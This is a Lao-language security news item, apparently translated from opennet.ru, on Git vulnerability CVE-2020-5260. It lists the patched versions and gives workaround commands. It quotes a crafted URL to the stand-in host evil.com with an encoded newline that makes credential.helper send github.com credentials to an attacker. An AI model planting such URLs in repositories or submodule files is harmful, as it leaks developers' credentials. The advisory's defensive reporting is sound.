Git ຊ່ອງໂຫວ່ການຮົ່ວໄຫລຂອງຂໍ້ມູນ

ຈັດພີມມາ ການແກ້ໄຂການແກ້ໄຂຂອງລະບົບການຄວບຄຸມແຫຼ່ງແຈກຢາຍ Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 ແລະ 2.17.4, ໃນ ທີ່​ລົບ​ລ້າງ​ ຄວາມອ່ອນແອ (CVE-2020-5260) ໃນ handler "credential.helper" , ເຊິ່ງເຮັດໃຫ້ຂໍ້ມູນປະຈໍາຕົວຖືກສົ່ງໄປຫາເຈົ້າພາບທີ່ບໍ່ຖືກຕ້ອງເມື່ອລູກຄ້າ git ເຂົ້າເຖິງບ່ອນເກັບມ້ຽນໂດຍໃຊ້ URL ທີ່ມີຮູບແບບພິເສດທີ່ມີຕົວອັກສອນໃຫມ່. ຊ່ອງໂຫວ່ສາມາດຖືກນໍາໃຊ້ເພື່ອຈັດແຈງຂໍ້ມູນປະຈໍາຕົວຈາກໂຮດອື່ນທີ່ຈະຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍທີ່ຄວບຄຸມໂດຍຜູ້ໂຈມຕີ.

ເມື່ອລະບຸ URL ເຊັ່ນ “https://evil.com?%0ahost=github.com/”, ຕົວຈັດການຂໍ້ມູນປະຈຳຕົວເມື່ອເຊື່ອມຕໍ່ກັບ host evil.com ຈະຜ່ານຕົວກໍານົດການຢືນຢັນທີ່ລະບຸໄວ້ສໍາລັບ github.com. ບັນຫາເກີດຂຶ້ນໃນເວລາທີ່ປະຕິບັດການດໍາເນີນການເຊັ່ນ "git clone", ລວມທັງການປະມວນຜົນ URLs ສໍາລັບ submodules (ຕົວຢ່າງເຊັ່ນ, "git submodule update" ອັດຕະໂນມັດຈະປະມວນຜົນ URLs ທີ່ລະບຸໄວ້ໃນໄຟລ໌ .gitmodules ຈາກ repository). ຊ່ອງໂຫວ່ແມ່ນເປັນອັນຕະລາຍທີ່ສຸດໃນສະຖານະການທີ່ນັກພັດທະນາ clones ເກັບຮັກສາໄວ້ໂດຍບໍ່ເຫັນ URL, ຕົວຢ່າງ, ເມື່ອເຮັດວຽກກັບໂມດູນຍ່ອຍ, ຫຼືໃນລະບົບທີ່ປະຕິບັດອັດຕະໂນມັດ, ຕົວຢ່າງ, ໃນຊຸດສ້າງສະຄິບ.

ເພື່ອບລັອກຊ່ອງໂຫວ່ໃນເວີຊັ່ນໃໝ່ ຫ້າມ ການຖ່າຍທອດລັກສະນະແຖວໃຫມ່ໃນຄ່າໃດໆທີ່ສົ່ງຜ່ານໂປໂຕຄອນການແລກປ່ຽນຂໍ້ມູນປະຈໍາຕົວ. ສໍາລັບການແຈກຢາຍ, ທ່ານສາມາດຕິດຕາມການປ່ອຍການປັບປຸງຊຸດໃນຫນ້າເວັບຕ່າງໆ Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, ທ້ອງຟ້າ, FreeBSD.

ເປັນການແກ້ໄຂເພື່ອສະກັດບັນຫາ ແນະ ນຳ ຢ່າໃຊ້ credential.helper ເມື່ອເຂົ້າເຖິງບ່ອນເກັບມ້ຽນສາທາລະນະ ແລະບໍ່ໃຊ້ "git clone" ໃນໂໝດ "--recurse-submodules" ທີ່ມີບ່ອນເກັບມ້ຽນທີ່ບໍ່ໄດ້ກວດເບິ່ງ. ເພື່ອປິດການໃຊ້ງານຕົວຈັດການ credential.helper ຢ່າງສົມບູນ, ເຊິ່ງເຮັດໄດ້ ປົກປັກຮັກສາ ແລະການດຶງລະຫັດຜ່ານຈາກ ແຄດ, ປ້ອງກັນ ຄັງເກັບມ້ຽນ ຫຼືໄຟລ໌ທີ່ມີລະຫັດຜ່ານ, ທ່ານສາມາດນໍາໃຊ້ຄໍາສັ່ງ:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

ແຫຼ່ງຂໍ້ມູນ: opennet.ru